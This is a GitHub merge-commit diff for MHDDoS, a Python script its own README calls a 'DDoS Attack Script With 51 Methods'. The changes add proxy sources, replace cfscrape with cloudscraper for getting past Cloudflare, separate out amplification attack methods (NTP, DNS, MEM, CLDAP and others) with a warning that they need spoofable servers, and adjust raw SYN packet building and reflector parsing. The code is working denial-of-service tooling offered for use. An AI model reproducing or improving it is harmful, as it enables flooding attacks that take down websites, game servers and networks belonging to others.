Merge branch 'MatrixTM:main' into main

This commit is contained in:
NinjutsuDEV 2022-04-02 16:50:34 +01:00 committed by GitHub
commit 010fff7ca0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 186 additions and 194 deletions

View File

@ -44,11 +44,11 @@ body:
render: true
placeholder: |
- OS: [e.g. Ubuntu]
- Installed Requirements Version [e.g. PySocks1.70]
- Installed Requirements Version [e.g. PyRoxy1.0b5]
- Python Version [e.g. 3.8.x]
value: |
- OS: [e.g. Ubuntu]
- Installed Requirements Version [e.g. PySocks1.70]
- Installed Requirements Version [e.g. PyRoxy1.0b5]
- Python Version [e.g. 3.8.x]
validations:
required: true

View File

@ -1,29 +0,0 @@
name: Security check - Bandit
on: push
jobs:
build:
runs-on: ubuntu-latest
strategy:
matrix:
os: [ ubuntu-latest, macos-latest ]
python-version: [ '3.8.12', '3.10' ]
name: Python ${{ matrix.python-version }} ${{ matrix.os }}
steps:
- uses: actions/checkout@v2
- name: Security check - Bandit
uses: ././
with:
python_version: ${{ matrix.python-version }}
project_path: .
ignore_failure: true
- name: Security check report artifacts
uses: actions/upload-artifact@v1
# if: failure()
with:
name: Security report
path: output/security_report.txt

View File

@ -1,4 +1,4 @@
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="aventium softworks"></p>
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
<h1 align="center">MHDDoS - DDoS Attack Script With 51 Methods</h1>
<em><h5 align="center">(Programming Language - Python 3)</h5></em>

View File

@ -1,4 +1,5 @@
{
"MCBOT": "MHDDoS_",
"proxy-providers": [
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
@ -13,6 +14,7 @@
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5},
{"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
{"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5},
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
@ -21,6 +23,7 @@
{"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5},
{"type":5, "url": "https://www.my-proxy.com/free-socks-5-proxy.html", "timeout": 5},
{"type":5, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "timeout": 5},
{"type":5, "url": "https://github.com/roosterkid/openproxylist/blob/main/SOCKS5_RAW.txt", "timeout": 5},
{"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5},
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5},
{"type":5, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
@ -28,6 +31,7 @@
{"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
{"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5},
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5},
{"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5},
{"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5},
@ -67,7 +71,7 @@
{"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5},
{"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5},
{"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5},
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
{"type":1, "url": "http://worm.rip/http.txt", "timeout": 5}
]
}

View File

@ -1,4 +1,4 @@
cfscrape<=2.1.1
cloudscraper==1.2.60
certifi<=2021.10.8
dnspython>=2.2.0
requests==2.27.1

View File

@ -27,13 +27,15 @@ from uuid import UUID, uuid4
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
from PyRoxy import Tools as ProxyTools
from certifi import where
from cfscrape import create_scraper
from cloudscraper import create_scraper
from dns import resolver
from icmplib import ping
from impacket.ImpactPacket import IP, TCP, UDP, Data
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
from requests import Response, Session, exceptions, get, cookies
from yarl import URL
from re import compile
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
datefmt="%H:%M:%S")
@ -48,26 +50,28 @@ __dir__: Path = Path(__file__).parent
__ip__: Any = None
with open(__dir__ / "config.json") as f:
con = load(f)
def getMyIPAddress():
global __ip__
if __ip__:
return __ip__
with suppress(Exception):
__ip__ = get('https://api.my-ip.io/ip', timeout=.1).text
return get('https://api.my-ip.io/ip', timeout=.1).text
with suppress(Exception):
__ip__ = get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
return get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
with suppress(Exception):
__ip__ = get('https://ipinfo.io/json', timeout=.1).json()["ip"]
return get('https://ipinfo.io/json', timeout=.1).json()["ip"]
with suppress(Exception):
__ip__ = ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
return ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
with suppress(Exception):
__ip__ = ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
return ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
with suppress(Exception):
__ip__ = get('https://ip.42.pl/raw', timeout=.1).text
return get('https://ip.42.pl/raw', timeout=.1).text
return getMyIPAddress()
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
@ -95,11 +99,18 @@ class Methods:
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER"
}
LAYER4_METHODS: Set[str] = {
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
"CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE",
"CLDAP"
LAYER4_AMP: Set[str] = {
"MEM", "NTP", "DNS", "ARD",
"CLDAP", "CHAR", "RDP"
}
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
}
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
@ -134,6 +145,7 @@ BYTES_SEND = Counter()
class Tools:
IP = compile("(?:\d{1,3}\.){3}\d{1,3}")
@staticmethod
def humanbytes(i: int, binary: bool = False, precision: int = 2):
@ -477,7 +489,7 @@ class Layer4(Thread):
2,
ProxyTools.Random.rand_ipv4(),
uuid4()))
Tools.send(s, Minecraft.login(f"MHDDoS_{ProxyTools.Random.rand_str(5)}"))
Tools.send(s, Minecraft.login(f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"))
sleep(1.5)
c = 360
@ -527,7 +539,7 @@ class Layer4(Thread):
def _genrate_syn(self) -> bytes:
ip: IP = IP()
ip.set_ip_src(getMyIPAddress())
ip.set_ip_src(__ip__)
ip.set_ip_dst(self._target[0])
tcp: TCP = TCP()
tcp.set_SYN()
@ -621,7 +633,7 @@ class HttpFlood(Thread):
'Accept-Encoding: gzip, deflate, br\r\n'
'Accept-Language: en-US,en;q=0.9\r\n'
'Cache-Control: max-age=0\r\n'
'Connection: Keep-Alive\r\n'
'Connection: keep-alive\r\n'
'Sec-Fetch-Dest: document\r\n'
'Sec-Fetch-Mode: navigate\r\n'
'Sec-Fetch-Site: none\r\n'
@ -1388,8 +1400,6 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
if __name__ == '__main__':
with open(__dir__ / "config.json") as f:
con = load(f)
with suppress(KeyboardInterrupt):
with suppress(IndexError):
one = argv[1].upper()
@ -1416,6 +1426,7 @@ if __name__ == '__main__':
exit("Method Not Found %s" %
", ".join(Methods.ALL_METHODS))
if method in Methods.LAYER7_METHODS:
url = URL(urlraw)
host = url.host
@ -1488,14 +1499,22 @@ if __name__ == '__main__':
not ToolsConsole.checkRawSocket():
exit("Cannot Create Raw Socket")
if method in Methods.LAYER4_AMP:
logger.warning("this method need spoofable servers please check")
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
threads = int(argv[3])
timer = int(argv[4])
proxies = None
ref = None
if not port:
logger.warning("Port Not Selected, Set To Default: 80")
port = 80
if method == "SYN":
__ip__ = getMyIPAddress()
if len(argv) >= 6:
argfive = argv[5].strip()
if argfive:
@ -1506,8 +1525,7 @@ if __name__ == '__main__':
if len(argv) == 7:
logger.setLevel("DEBUG")
ref = set(a.strip()
for a in ProxyTools.Patterns.IP.findall(
refl_li.open("r+").read()))
for a in Tools.IP.findall(refl_li.open("r").read()))
if not ref: exit("Empty Reflector File ")
elif argfive.isdigit() and len(argv) >= 7:
@ -1521,7 +1539,6 @@ if __name__ == '__main__':
else:
logger.setLevel("DEBUG")
for _ in range(threads):
Layer4((target, port), ref, method, event,
proxies).start()